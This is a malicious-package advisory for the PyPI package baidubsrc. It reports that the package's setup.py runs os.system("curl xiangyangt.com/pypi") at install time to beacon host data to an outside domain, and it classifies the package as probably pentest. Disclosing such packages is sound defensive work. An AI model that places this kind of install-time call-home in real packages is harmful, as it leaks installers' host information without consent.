MAL-2026-4809

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MAL-2026-4809

Summary: Malicious code in baidubsrc (PyPI)

Details: Source: amazon-inspector (e303b294e3a8f77fdfa91935af2cd5828572f5ab5ec2f0e0b34a0136e33d70dd) setup.py executes `os.system("curl xiangyangt.com/pypi")` unconditionally during `pip install`. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer's IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author="demo", description "A demo pip package") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away. Source: kam193 (70342acb0742af0305c096283134cfa09133c44ff24030993e4468c96e9021cc) During installation, package calls home, and there is no other functionality. Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.

References: https://pypi.org/project/baidubsrc/0.0.1/, https://bad-packages.kam193.eu/pypi/package/baidubsrc